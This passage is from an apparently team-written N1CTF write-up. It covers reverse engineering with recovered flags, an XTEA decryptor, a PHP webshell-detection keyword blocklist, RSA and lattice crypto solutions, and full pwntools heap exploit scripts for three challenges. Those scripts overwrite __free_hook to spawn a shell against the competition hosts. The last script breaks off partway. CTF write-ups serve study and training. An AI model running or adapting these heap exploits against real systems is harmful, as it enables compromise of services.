<span class="hljs-comment">[(]</span> , 0xc , 0x7 : <span class="hljs-comment">[?]</span> <span class="hljs-comment">[@]</span>
<span class="hljs-comment">[)]</span> , 0x49 , 0x29: <span class="hljs-comment">[<span class="hljs-comment">[]</span>
<span class="hljs-comment">[*]</span> , 0x9 , 0x22: <span class="hljs-comment">[\]</span>
<span class="hljs-comment">[+]</span> , 0x64 , 0x24:
<span class="hljs-comment">[,]</span> , 0x56 , 0x27: <span class="hljs-comment">[]</span>]</span>
<span class="hljs-comment">[-]</span> , 0x18 , 0x29: <span class="hljs-comment">[^]</span>
<span class="hljs-comment">[.]</span> , 0x18 , 0x1b: <span class="hljs-comment">[_]</span> <span class="hljs-comment">[`]</span> <span class="hljs-comment">[{]</span>
<span class="hljs-comment">[/]</span> , 0x13 , 0x10: <span class="hljs-comment">[|]</span>
<span class="hljs-comment">[:]</span> , 0x54 , 0x1c: <span class="hljs-comment">[}]</span>
<span class="hljs-comment">[;]</span> , 0xa , 0x14:
<span class="hljs-comment">[<]</span> , 0x63 , 0x25:
<span class="hljs-comment">[=]</span> , 0x61 , 0x8 :
<span class="hljs-comment">[>]</span> , 0x31 , 0x25: <span class="hljs-comment">[~]</span>
<span class="hljs-comment">[?]</span> , 0x16 , 0xa :
<span class="hljs-comment">[@]</span> , 0x5d , 0x2e:
<span class="hljs-comment">[<span class="hljs-comment">[]</span> , 0x63 , 0x5 :
<span class="hljs-comment">[\]</span> , 0x2d , 0x2c:
<span class="hljs-comment">[]</span>]</span> , 0x56 , 0x3 :
<span class="hljs-comment">[^]</span> , 0x40 , 0x18:
<span class="hljs-comment">[_]</span> , 0x5b , 0xb :
<span class="hljs-comment">[`]</span> , 0x56 , 0xc : <span class="hljs-comment">[ ]</span>
<span class="hljs-comment">[{]</span> , 0x42 , 0x19: <span class="hljs-comment">[ ]</span>
<span class="hljs-comment">[|]</span> , 0x3b , 0xf : <span class="hljs-comment">[
]</span> <span class="hljs-comment">[]</span>
<span class="hljs-comment">[}]</span> , 0x13 , 0x2a:
<span class="hljs-comment">[~]</span> , 0xb , 0x87: <span class="hljs-comment">[\x0b]</span> <span class="hljs-comment">[\x0c]</span>
<span class="hljs-comment">[ ]</span> , 0x46 , 0x21:
<span class="hljs-comment">[ ]</span> , 0x3a , 0x22:
<span class="hljs-comment">[
]</span> , 0x25 , 0xe :
<span class="hljs-comment">[]</span> , 0x52 , 0x1 :
<span class="hljs-comment">[\x0b]</span> , 0x18e , 0x44:
<span class="hljs-comment">[\x0c]</span> , 0x1e0 , 0x37:
</code></pre><p>For the first flag, the value should be <code>0x219</code>. And the seccond flag needs value reach <code>0x41a</code> </p>
<p>I didn't figure out a good algorithm for this variation of knapsack problem. I manually find out the sequence that can reach <code>0x41a</code> is <code>0135abgpqsvwzQUX/|\x0d</code></p>
<p>And the flags for this challenge are <code>N1CTF{r3V3r53_G0_3X3_w17h0u7_5YmB01}</code> and <code>N1CTF{C41cu1473_17_0r_Ju57_R4c3_17}</code></p>
<h3 id="ropvm"><a class="header-link" href="#ropvm"></a>ROPVM</h3>
<p>Reverse and find it is XTEA</p>
<pre class="hljs"><code>#include <stdint.h>
void decipher(unsigned int num_rounds, uint32_t v[<span class="hljs-number">2</span>], uint32_t const <span class="hljs-type">key</span>[<span class="hljs-number">4</span>]) {
unsigned int i;
uint32_t v0=v[<span class="hljs-number">0</span>], v1=v[<span class="hljs-number">1</span>], delta=<span class="hljs-number">0x5f3759df</span>, sum=delta*num_rounds;
for (i=<span class="hljs-number">0</span>; i < num_rounds; i++) {
v1 -= (((v0 << <span class="hljs-number">4</span>) ^ (v0 >> <span class="hljs-number">5</span>)) + v0) ^ (sum + <span class="hljs-type">key</span>[(sum>><span class="hljs-number">11</span>) & <span class="hljs-number">3</span>]);
sum -= delta;
v0 -= (((v1 << <span class="hljs-number">4</span>) ^ (v1 >> <span class="hljs-number">5</span>)) + v1) ^ (sum + <span class="hljs-type">key</span>[sum & <span class="hljs-number">3</span>]);
}
v[<span class="hljs-number">0</span>]=v0; v[<span class="hljs-number">1</span>]=v1;
}
int main(){
uint64_t v[<span class="hljs-number">5</span>] = {<span class="hljs-number">0x146d16a886dab2be</span>,<span class="hljs-number">0x54f1658f3c9edb52</span>,<span class="hljs-number">0x2a33699d19c12643</span>,<span class="hljs-number">0xc1ce322600cd9e6b</span>,<span class="hljs-number">0</span>};
uint32_t k[<span class="hljs-number">4</span>]={<span class="hljs-number">0x67343146</span>,<span class="hljs-number">0x34313146</span>,<span class="hljs-number">0x31314667</span>,<span class="hljs-number">0x67343131</span>};
for(int i=<span class="hljs-number">0</span>;i<<span class="hljs-number">4</span>;i++) decipher(<span class="hljs-number">0x20</span>,&v[i],k);
puts(v); <span class="hljs-comment">// N1CTF{1s__R0P__Tur1n9_c0mpl3t3?}</span>
}</code></pre><h2 id="misc"><a class="header-link" href="#misc"></a>Misc</h2>
<h3 id="checkin"><a class="header-link" href="#checkin"></a>checkin</h3>
<p class="img-container"><img src="https://i.imgur.com/9ZiyOxD.png" alt=""></p>
<h3 id="n1egg---a-waf,-a-world"><a class="header-link" href="#n1egg---a-waf,-a-world"></a>N1EGG - A waf, a world</h3>
<pre class="hljs"><code><span class="hljs-meta"><?php</span>
$case = file_get_contents(<span class="hljs-string">'php://input'</span>);
<span class="hljs-keyword">if</span>(strpos($case,<span class="hljs-string">'eval('</span>)!==<span class="hljs-keyword">false</span>){
<span class="hljs-keyword">die</span>(<span class="hljs-string">'webshell'</span>);
} <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span>(strpos($case, <span class="hljs-string">'system('</span>) !== <span class="hljs-keyword">false</span>) {
<span class="hljs-keyword">die</span>(<span class="hljs-string">'webshell'</span>);
} <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span>(strpos($case, <span class="hljs-string">'assert('</span>) !== <span class="hljs-keyword">false</span>) {
<span class="hljs-keyword">die</span>(<span class="hljs-string">'webshell'</span>);
} <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span>(strpos($case, <span class="hljs-string">'shell_exec('</span>) !== <span class="hljs-keyword">false</span>) {
<span class="hljs-keyword">die</span>(<span class="hljs-string">'webshell'</span>);
} <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span>(strpos($case, <span class="hljs-string">'passthru('</span>) !== <span class="hljs-keyword">false</span>) {
<span class="hljs-keyword">die</span>(<span class="hljs-string">'webshell'</span>);
} <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span>(strpos($case, <span class="hljs-string">'{${'</span>) !== <span class="hljs-keyword">false</span>) {
<span class="hljs-keyword">die</span>(<span class="hljs-string">'webshell'</span>);
} <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span>(strpos($case, <span class="hljs-string">'extract('</span>) !== <span class="hljs-keyword">false</span>) {
<span class="hljs-keyword">die</span>(<span class="hljs-string">'webshell'</span>);
} <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span>(strpos($case, <span class="hljs-string">'base64_decode('</span>) !== <span class="hljs-keyword">false</span>) {
<span class="hljs-keyword">die</span>(<span class="hljs-string">'webshell'</span>);
} <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span>(strpos($case, <span class="hljs-string">'gzuncompress('</span>) !== <span class="hljs-keyword">false</span>) {
<span class="hljs-keyword">die</span>(<span class="hljs-string">'webshell'</span>);
} <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span>(strpos($case, <span class="hljs-string">'array_map('</span>) !== <span class="hljs-keyword">false</span>) {
<span class="hljs-keyword">die</span>(<span class="hljs-string">'webshell'</span>);
} <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span>(strpos($case, <span class="hljs-string">'¾¬¬º«'</span>) !== <span class="hljs-keyword">false</span>) {
<span class="hljs-keyword">die</span>(<span class="hljs-string">'webshell'</span>);
} <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span>(strpos($case, <span class="hljs-string">'include($'</span>) !== <span class="hljs-keyword">false</span>) {
<span class="hljs-keyword">die</span>(<span class="hljs-string">'webshell'</span>);
} <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span>(strpos($case, <span class="hljs-string">'`$_POST'</span>) !== <span class="hljs-keyword">false</span>) {
<span class="hljs-keyword">die</span>(<span class="hljs-string">'webshell'</span>);
} <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span>(strpos($case, <span class="hljs-string">'`$_REQUEST'</span>) !== <span class="hljs-keyword">false</span>) {
<span class="hljs-keyword">die</span>(<span class="hljs-string">'webshell'</span>);
} <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span>(strpos($case, <span class="hljs-string">'preg_replace('</span>) !== <span class="hljs-keyword">false</span>) {
<span class="hljs-keyword">die</span>(<span class="hljs-string">'webshell'</span>);
} <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span>(strpos($case, <span class="hljs-string">'"."'</span>) !== <span class="hljs-keyword">false</span>) {
<span class="hljs-keyword">die</span>(<span class="hljs-string">'webshell'</span>);
} <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span>(strpos($case, <span class="hljs-string">'"^"'</span>) !== <span class="hljs-keyword">false</span>) {
<span class="hljs-keyword">die</span>(<span class="hljs-string">'webshell'</span>);
} <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span>(strpos($case, <span class="hljs-string">'shell'</span>) !== <span class="hljs-keyword">false</span>) {
<span class="hljs-keyword">die</span>(<span class="hljs-string">'webshell'</span>);
} <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span>(strpos($case, <span class="hljs-string">')($'</span>) !== <span class="hljs-keyword">false</span>) {
<span class="hljs-keyword">die</span>(<span class="hljs-string">'webshell'</span>);
} <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span>(strpos($case, <span class="hljs-string">'mail('</span>) !== <span class="hljs-keyword">false</span>) {
<span class="hljs-keyword">die</span>(<span class="hljs-string">'webshell'</span>);
} <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span>(stripos($case, <span class="hljs-string">'ld('</span>) !== <span class="hljs-keyword">false</span>) {
<span class="hljs-keyword">die</span>(<span class="hljs-string">'webshell'</span>);
} <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span>(stripos($case, <span class="hljs-string">'link('</span>) !== <span class="hljs-keyword">false</span>) {
<span class="hljs-keyword">die</span>(<span class="hljs-string">'webshell'</span>);
} <span class="hljs-keyword">else</span>{
<span class="hljs-keyword">die</span>(<span class="hljs-string">'no-webshell'</span>);
}</code></pre><p>Final Score: 142</p>
<h2 id="crypto"><a class="header-link" href="#crypto"></a>Crypto</h2>
<h3 id="baby-rsa"><a class="header-link" href="#baby-rsa"></a>Baby RSA</h3>
<p>Each encrypted number $x$ equal to $(2y+0)^e\ (mod\ N)$ or $(2y+1)^e\ (mod\ N)$, where $y \equiv randint()^2\ (mod\ N)$. Thus, if $2^{-e}x\ (mod\ N)$ is a quadratic residue of $N$, then the original bit is 0; otherwise ,it is 1. Since N is not an odd prime, so the original Euler's criterion $(a|p)\ =\ a^{\frac{p-1}{2}}(mod\ p)$ cannot be used in this problem. The properties of Jacobi symbol, which is the generalization of Legendre symbol, and law of quadratic reciprocity would help to solve this problem.</p>
<pre class="hljs"><code>f = <span class="hljs-built_in">open</span>(<span class="hljs-string">'./flag.enc'</span>,<span class="hljs-string">'r'</span>)
l = []
<span class="hljs-keyword">for</span> <span class="hljs-built_in">line</span> <span class="hljs-keyword">in</span> f:
l.append(int(<span class="hljs-built_in">line</span>[:<span class="hljs-number">-2</span>], <span class="hljs-number">16</span>))
def jacobi(<span class="hljs-keyword">a</span>, n):
assert(n > <span class="hljs-keyword">a</span> > <span class="hljs-number">0</span> <span class="hljs-keyword">and</span> n%<span class="hljs-number">2</span> == <span class="hljs-number">1</span>)
t = <span class="hljs-number">1</span>
<span class="hljs-keyword">while</span> <span class="hljs-keyword">a</span> != <span class="hljs-number">0</span>:
<span class="hljs-keyword">while</span> <span class="hljs-keyword">a</span> % <span class="hljs-number">2</span> == <span class="hljs-number">0</span>:
<span class="hljs-keyword">a</span><span class="hljs-comment"> //= 2</span>
r = n % <span class="hljs-number">8</span>
<span class="hljs-keyword">if</span> r == <span class="hljs-number">3</span> <span class="hljs-keyword">or</span> r == <span class="hljs-number">5</span>:
t = -t
<span class="hljs-keyword">a</span>, n = n, <span class="hljs-keyword">a</span>
<span class="hljs-keyword">if</span> <span class="hljs-keyword">a</span> % <span class="hljs-number">4</span> == n % <span class="hljs-number">4</span> == <span class="hljs-number">3</span>:
t = -t
<span class="hljs-keyword">a</span> %= n
<span class="hljs-keyword">if</span> n == <span class="hljs-number">1</span>:
<span class="hljs-literal">return</span> t
<span class="hljs-keyword">else</span>:
<span class="hljs-literal">return</span> <span class="hljs-number">0</span>
rev2 = modinv(pow(<span class="hljs-number">2</span>, e, N), N)
ans = <span class="hljs-string">""</span>
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> l:
<span class="hljs-keyword">if</span> jacobi((i * rev2)%N, N) == <span class="hljs-number">1</span>:
ans += <span class="hljs-string">"0"</span>
<span class="hljs-keyword">else</span>:
ans += <span class="hljs-string">"1"</span>
<span class="hljs-built_in">number</span>.long_to_bytes(int(ans[::<span class="hljs-number">-1</span>], <span class="hljs-number">2</span>))</code></pre><h3 id="guess_ex"><a class="header-link" href="#guess_ex"></a>guess_ex</h3>
<p>The problem is a modular linear equation where all numbers are mixed with some small error before sending to us:
$$
\begin{aligned}
a' &= a + e_a \
T' &= T + e_T \
S &= U + e_S \
a \in Z_p \quad T &\in Z_p^d \quad U = a \times T \
\end{aligned}
$$</p>
<p>And we can derive following equation:
$$
\begin{aligned}
a' \times T' - S &= (a + e_a) (T + e_T) - (aT + e_S) \
&= a' e_T + T' e_a - (e_a e_T + e_S)\
\end{aligned}
$$</p>
<p>Now we have a system of linear equations on those error terms. Since those error terms are quite short, we can build a lattice and use LLL to solve the SIS problem:</p>
<pre class="hljs"><code><span class="hljs-string">"""
expected ans: ea (et ^ d) (eats ^ d) (mod ^ d) -1
matrix coeff: T' a' 1 p y
"""</span>
M = []
<span class="hljs-keyword">for</span> i, (ti, si) <span class="hljs-keyword">in</span> enumerate(zip(T, S)):
lpad = [<span class="hljs-number">0</span>] * i
rpad = [<span class="hljs-number">0</span>] * (d - i - <span class="hljs-number">1</span>)
yi = (A * ti - si) % P
row = [ti] + lpad + [A] + rpad + lpad + [<span class="hljs-number">1</span>] + rpad + lpad + [P] + rpad + [yi]
M.append(row)
M = Matrix(M)
k = M.right_kernel_matrix()
k = k.LLL()
sol = k[<span class="hljs-number">0</span>]
sol = sol * sol[<span class="hljs-number">-1</span>] * <span class="hljs-number">-1</span>
sol = A - sol[<span class="hljs-number">0</span>]</code></pre><h2 id="pwn"><a class="header-link" href="#pwn"></a>Pwn</h2>
<h3 id="warmup"><a class="header-link" href="#warmup"></a>Warmup</h3>
<p>probability of 1/16</p>
<pre class="hljs"><code><span class="hljs-comment">#!/usr/bin/env python</span>
<span class="hljs-comment"># -*- coding: utf-8 -*-</span>
<span class="hljs-keyword">from</span> pwn import *
import sys
import time
import random
host = <span class="hljs-string">'47.52.90.3'</span>
port = <span class="hljs-number">9999</span>
binary = <span class="hljs-string">"./warmup"</span>
context.binary = binary
elf = ELF(binary)
try:
libc = ELF(<span class="hljs-string">"./libc.so.6"</span>)
log.success(<span class="hljs-string">"libc load success"</span>)
system_off = libc.symbols.system
log.success(<span class="hljs-string">"system_off = "</span>+hex(system_off))
except:
log.failure(<span class="hljs-string">"libc not found !"</span>)
q=<span class="hljs-number">0</span>
def <span class="hljs-keyword">add</span><span class="bash">(content):
</span> global q
q+=<span class="hljs-number">1</span>
print q
r.recvuntil(<span class="hljs-string">">>"</span>)
r.sendline(<span class="hljs-string">"1"</span>)
r.recvuntil(<span class="hljs-string">">>"</span>)
r.send(content)
def edit(index,content):
r.recvuntil(<span class="hljs-string">">>"</span>)
r.sendline(<span class="hljs-string">"3"</span>)
r.recvuntil(<span class="hljs-string">":"</span>)
r.sendline(str(index))
r.recvuntil(<span class="hljs-string">">>"</span>)
r.send(content)
def remove(index):
r.recvuntil(<span class="hljs-string">">>"</span>)
r.sendline(<span class="hljs-string">"2"</span>)
r.recvuntil(<span class="hljs-string">":"</span>)
r.sendline(str(index))
pass
if len(sys.argv) == <span class="hljs-number">1</span>:
r = process([binary, <span class="hljs-string">"0"</span>], <span class="hljs-keyword">env</span>={<span class="hljs-string">"LD_LIBRARY_PATH"</span>:<span class="hljs-string">"."</span>})
<span class="hljs-comment">#r = remote("127.0.0.1" ,4444)</span>
else:
r = remote(host ,port)
if __name__ == <span class="hljs-string">'__main__'</span>:
<span class="hljs-keyword">add</span><span class="bash">(<span class="hljs-string">"1"</span>) <span class="hljs-comment"># 0</span>
</span> <span class="hljs-keyword">add</span><span class="bash">(<span class="hljs-string">"2"</span>) <span class="hljs-comment"># 1</span>
</span> <span class="hljs-keyword">add</span><span class="bash">(<span class="hljs-string">"3"</span>) <span class="hljs-comment"># 2</span>
</span> <span class="hljs-keyword">add</span><span class="bash">(<span class="hljs-string">"4"</span>) <span class="hljs-comment"># 3</span>
</span> remove(<span class="hljs-number">3</span>)
remove(<span class="hljs-number">3</span>)
remove(<span class="hljs-number">2</span>)
remove(<span class="hljs-number">2</span>)
remove(<span class="hljs-number">0</span>)
remove(<span class="hljs-number">0</span>)
<span class="hljs-keyword">add</span><span class="bash">(<span class="hljs-string">"\xb0"</span>) <span class="hljs-comment"># 0</span>
</span> <span class="hljs-keyword">add</span><span class="bash">(<span class="hljs-string">"\xb0"</span>) <span class="hljs-comment"># 2</span>
</span> <span class="hljs-keyword">add</span><span class="bash">(<span class="hljs-string">"A"</span>*8 + p64(0xa1)) <span class="hljs-comment"># 3</span>
</span> for i in xrange(<span class="hljs-number">3</span>):
remove(<span class="hljs-number">0</span>)
remove(<span class="hljs-number">0</span>)
edit(<span class="hljs-number">2</span>,<span class="hljs-string">"\xc0"</span>)
<span class="hljs-keyword">add</span><span class="bash">(<span class="hljs-string">"A"</span>) <span class="hljs-comment"># 0</span>
</span> <span class="hljs-keyword">add</span><span class="bash">(<span class="hljs-string">"A"</span>) <span class="hljs-comment"># 4</span>
</span> remove(<span class="hljs-number">4</span>)
remove(<span class="hljs-number">4</span>)
remove(<span class="hljs-number">0</span>)
remove(<span class="hljs-number">0</span>)
edit(<span class="hljs-number">2</span>,<span class="hljs-string">"\xc0"</span>)
<span class="hljs-keyword">add</span><span class="bash">(<span class="hljs-string">"A"</span>) <span class="hljs-comment"># 0</span>
</span> <span class="hljs-keyword">add</span><span class="bash">(<span class="hljs-string">"A"</span>) <span class="hljs-comment"># 4</span>
</span> edit(<span class="hljs-number">3</span>,<span class="hljs-string">"D"</span>*<span class="hljs-number">8</span> + p64(<span class="hljs-number">0</span>x51))
remove(<span class="hljs-number">1</span>)
remove(<span class="hljs-number">1</span>)
edit(<span class="hljs-number">3</span>,<span class="hljs-string">"D"</span>*<span class="hljs-number">8</span> + p64(<span class="hljs-number">0</span>xa1))
remove(<span class="hljs-number">4</span>)
remove(<span class="hljs-number">4</span>)
edit(<span class="hljs-number">3</span>,<span class="hljs-string">"D"</span>*<span class="hljs-number">8</span> + p64(<span class="hljs-number">0</span>x51) + p16(<span class="hljs-number">0</span>x3760))
<span class="hljs-keyword">add</span><span class="bash">(<span class="hljs-string">"A"</span>)
</span> <span class="hljs-keyword">add</span><span class="bash">(p64(0xfbad3c80) + p64(0)*3 + <span class="hljs-string">"\x00"</span>)
</span> r.recv(<span class="hljs-number">8</span>)
libc = u64(r.recv(<span class="hljs-number">8</span>).ljust(<span class="hljs-number">8</span>,<span class="hljs-string">"\x00"</span>)) - <span class="hljs-number">0</span>x3ed8b0
edit(<span class="hljs-number">3</span>,<span class="hljs-string">"sh\x00"</span>)
remove(<span class="hljs-number">0</span>)
remove(<span class="hljs-number">0</span>)
<span class="hljs-keyword">add</span><span class="bash">(p64(libc + 0x3ed8e8))
</span> <span class="hljs-keyword">add</span><span class="bash">(p64(libc + 0x3ed8e8))
</span> <span class="hljs-keyword">add</span><span class="bash">(p64(libc + 0x4f440))
</span> remove(<span class="hljs-number">3</span>)
r.sendline(<span class="hljs-string">"ls"</span>)
r.interactive()
</code></pre><h3 id="line"><a class="header-link" href="#line"></a>line</h3>
<pre class="hljs"><code>#!/usr/bin/env python
# -*- coding: utf<span class="hljs-number">-8</span> -*-
from pwn <span class="hljs-keyword">import</span> *
<span class="hljs-keyword">import</span> sys
<span class="hljs-keyword">import</span> time
<span class="hljs-keyword">import</span> <span class="hljs-built_in">random</span>
host = <span class="hljs-string">'35.235.107.145'</span>
port = <span class="hljs-number">6699</span>
<span class="hljs-built_in">binary</span> = <span class="hljs-string">"./line"</span>
context.<span class="hljs-built_in">binary</span> = <span class="hljs-built_in">binary</span>
elf = ELF(<span class="hljs-built_in">binary</span>)
<span class="hljs-keyword">try</span>:
libc = ELF(<span class="hljs-string">"./libc.so.6"</span>)
<span class="hljs-built_in">log</span>.success(<span class="hljs-string">"libc load success"</span>)
system_off = libc.symbols.system
<span class="hljs-built_in">log</span>.success(<span class="hljs-string">"system_off = "</span>+<span class="hljs-built_in">hex</span>(system_off))
except:
<span class="hljs-built_in">log</span>.failure(<span class="hljs-string">"libc not found !"</span>)
def <span class="hljs-built_in">add</span>(ID,<span class="hljs-built_in">size</span>,content):
r.recvuntil(<span class="hljs-string">": "</span>)
r.sendline(<span class="hljs-string">"1"</span>)
r.recvuntil(<span class="hljs-string">": "</span>)
r.sendline(<span class="hljs-built_in">str</span>(ID))
r.recvuntil(<span class="hljs-string">": "</span>)
r.sendline(<span class="hljs-built_in">str</span>(<span class="hljs-built_in">size</span>))
time.sleep(<span class="hljs-number">0.01</span>)
r.send(content)
pass
def show(start,end):
r.recvuntil(<span class="hljs-string">": "</span>)
r.sendline(<span class="hljs-string">"2"</span>)
pass
r.recvuntil(start)
data = r.recvuntil(end)[:-len(end)]
<span class="hljs-keyword">return</span> data
<span class="hljs-keyword">if</span> len(sys.argv) == <span class="hljs-number">1</span>:
r = process([<span class="hljs-built_in">binary</span>, <span class="hljs-string">"0"</span>], env={<span class="hljs-string">"LD_LIBRARY_PATH"</span>:<span class="hljs-string">"."</span>})
<span class="hljs-keyword">else</span>:
r = remote(host ,port)
<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">'__main__'</span>:
<span class="hljs-keyword">for</span> i in xrange(<span class="hljs-number">8</span>):
<span class="hljs-built_in">add</span>(i+<span class="hljs-number">0x10</span>,<span class="hljs-number">0x20</span>,<span class="hljs-built_in">str</span>(i+<span class="hljs-number">1</span>))
<span class="hljs-keyword">for</span> i in xrange(<span class="hljs-number">8</span>):
<span class="hljs-built_in">add</span>(i+<span class="hljs-number">0x20</span>,<span class="hljs-number">0x80</span>,<span class="hljs-built_in">str</span>(i+<span class="hljs-number">1</span>))
<span class="hljs-keyword">for</span> i in xrange(<span class="hljs-number">8</span>):
<span class="hljs-built_in">add</span>(i+<span class="hljs-number">0x30</span>,<span class="hljs-number">0x30</span>,<span class="hljs-built_in">str</span>(i+<span class="hljs-number">1</span>))
<span class="hljs-built_in">add</span>(<span class="hljs-number">0x40</span>,<span class="hljs-number">1</span>,<span class="hljs-string">"A"</span>)
show(<span class="hljs-string">""</span>,<span class="hljs-string">""</span>)
r.recvuntil(<span class="hljs-string">"8 : 64 ("</span>)
libc = u64(r.recv(<span class="hljs-number">6</span>).ljust(<span class="hljs-number">8</span>,<span class="hljs-string">"\x00"</span>)) - <span class="hljs-number">0x3ebc41</span>
<span class="hljs-built_in">print</span>(<span class="hljs-string">"libc = {}"</span>.format(<span class="hljs-built_in">hex</span>(libc)))
<span class="hljs-keyword">for</span> i in xrange(<span class="hljs-number">7</span>):
<span class="hljs-built_in">add</span>(<span class="hljs-number">0x10</span>+i,<span class="hljs-number">0x10</span>,<span class="hljs-string">"A"</span>)
<span class="hljs-keyword">for</span> i in xrange(<span class="hljs-number">3</span>):
<span class="hljs-built_in">add</span>(<span class="hljs-number">0x20</span>+i,<span class="hljs-number">0x40</span>,<span class="hljs-string">"A"</span>)
<span class="hljs-built_in">add</span>(<span class="hljs-number">0x30</span>,<span class="hljs-number">1</span>,<span class="hljs-string">"A"</span>)
show(<span class="hljs-string">""</span>,<span class="hljs-string">""</span>)
r.recvuntil(<span class="hljs-string">"8 : 48 ("</span>)
heap = u64(r.recv(<span class="hljs-number">6</span>).ljust(<span class="hljs-number">8</span>,<span class="hljs-string">"\x00"</span>)) - <span class="hljs-number">0xa41</span>
<span class="hljs-built_in">print</span>(<span class="hljs-string">"heap = {}"</span>.format(<span class="hljs-built_in">hex</span>(heap)))
<span class="hljs-built_in">add</span>(<span class="hljs-number">1</span>,<span class="hljs-number">1</span>,<span class="hljs-string">"A"</span>)
<span class="hljs-built_in">add</span>(<span class="hljs-number">1</span>,<span class="hljs-number">1</span>,<span class="hljs-string">"A"</span>)
<span class="hljs-built_in">add</span>(<span class="hljs-number">2</span>,<span class="hljs-number">1</span>,<span class="hljs-string">"A"</span>)
<span class="hljs-keyword">for</span> i in xrange(<span class="hljs-number">8</span>):
<span class="hljs-built_in">add</span>(<span class="hljs-number">0x40</span>+i,<span class="hljs-number">0x50</span>,<span class="hljs-string">"sh\x00"</span>)
<span class="hljs-built_in">add</span>(<span class="hljs-number">8</span>,<span class="hljs-number">0x10</span>,p64(libc + <span class="hljs-number">0x3ed8e8</span>))
<span class="hljs-built_in">add</span>(<span class="hljs-number">8</span>,<span class="hljs-number">0x10</span>,<span class="hljs-string">"A"</span>)
<span class="hljs-built_in">add</span>(<span class="hljs-number">9</span>,<span class="hljs-number">0x10</span>,p64(libc + <span class="hljs-number">0x4f440</span>))
r.recvuntil(<span class="hljs-string">": "</span>)
r.sendline(<span class="hljs-string">"1"</span>)
r.recvuntil(<span class="hljs-string">": "</span>)
r.sendline(<span class="hljs-string">"1"</span>)
time.sleep(<span class="hljs-number">0.1</span>)
r.sendline(<span class="hljs-string">"ls"</span>)
r.interactive()
</code></pre><h3 id="babypwn"><a class="header-link" href="#babypwn"></a>BabyPwn</h3>
<p>probability of 1/16</p>
<pre class="hljs"><code><span class="hljs-keyword">from</span> pwn import *
<span class="hljs-comment">#r = process(["./BabyPwn"])</span>
r = remote(<span class="hljs-string">"124.156.209.69"</span>, <span class="hljs-number">9999</span>)
def <span class="hljs-keyword">add</span><span class="bash">(name,size,content):
</span> r.sendafter(<span class="hljs-string">":"</span>,<span class="hljs-string">"1\x00"</span>)
r.sendafter(<span class="hljs-string">":"</span>,name)
r.sendafter(<span class="hljs-string">":"</span>,str(size)+<span class="hljs-string">"\x00"</span>)
r.sendafter(<span class="hljs-string">":"</span>,content)
def remove(idx):
r.sendafter(<span class="hljs-string">":"</span>,<span class="hljs-string">"2\x00"</span>)
r.sendafter(<span class="hljs-string">":"</span>,str(idx)+<span class="hljs-string">"\x00"</span>)
<span class="hljs-keyword">add</span><span class="bash">(<span class="hljs-string">"a"</span>,0x60,<span class="hljs-string">"a"</span>)
</span><span class="hljs-keyword">add</span><span class="bash">(<span class="hljs-string">"a"</span>,0x60,<span class="hljs-string">"a"</span>)
</span>remove(<span class="hljs-number">0</span>)
remove(<span class="hljs-number">1</span>)
remove(<span class="hljs-number">0</span>)
<span class="hljs-keyword">add</span><span class="bash">(<span class="hljs-string">"a"</span>,0x60,p64(0x60203d))
</span><span class="hljs-keyword">add</span><span class="bash">(<span class="hljs-string">"a"</span>,0x60,<span class="hljs-string">"a"</span>)
</span><span class="hljs-keyword">add</span><span class="bash">(<span class="hljs-string">"a"</span>,0x60,<span class="hljs-string">"a"</span>)
</span><span class="hljs-keyword">add</span><span class="bash">(<span class="hljs-string">"a"</span>,0x60,<span class="hljs-string">"a"</span>*3+p64(0)+p64(0x51)+p64(0)+p64(0x602060)+p64(0x602058)+p64(0)*6+p64(0x21))
</span>remove(<span class="hljs-number">2</span>)
<span class="hljs-keyword">add</span><span class="bash">(<span class="hljs-string">"a"</span>,0x60,<span class="hljs-string">"a"</span>)
</span><span class="hljs-keyword">add</span><span class="bash">(<span class="hljs-string">"a"</span>,0xc0,<span class="hljs-string">"a"</span>)
</span><span class="hljs-keyword">add</span><span class="bash">(<span class="hljs-string">"a"</span>,0x60,<span class="hljs-string">"a"</span>)
</span><span class="hljs-keyword">add</span><span class="bash">(<span class="hljs-string">"a"</span>,0x60,<span class="hljs-string">"a"</span>)
</span>remove(<span class="hljs-number">3</span>)
<span class="hljs-comment">#val = int(raw_input(":"),16)</span>
val = <span class="hljs-number">0</span>xa
val = val*<span class="hljs-number">0</span>x1000+<span class="hljs-number">0</span>x5dd
<span class="hljs-keyword">add</span><span class="bash">(<span class="hljs-string">"a"</span>,0x60,p16(val))
</span>remove(<span class="hljs-number">5</span>)
remove(<span class="hljs-number">4</span>)
remove(<span class="hljs-number">5</span>)
<span class="hljs-keyword">add</span><span class="bash">(<span class="hljs-string">"a"</span>,0x48,p64(0)+p64(0x602060)+p64(0x602058)+p64(0)+p64(0)*5)
</span>remove(<span class="hljs-number">2</span>)
<span class="hljs-keyword">add</span><span class="bash">(<span class="hljs-string">"a"</span>,0x60,<span class="hljs-string">"\x00"</span>)
</span><span class="hljs-keyword">add</span><span class="bash">(<span class="hljs-string">"a"</span>,0x60,<span class="hljs-string">"a"</span>)
</span><span class="hljs-keyword">add</span><span class="bash">(<span class="hljs-string">"a"</span>,0x60,<span class="hljs-string">"a"</span>)
</span><span class="hljs-keyword">add</span><span class="bash">(<span class="hljs-string">"a"</span>,0x60,<span class="hljs-string">"a"</span>)
</span>
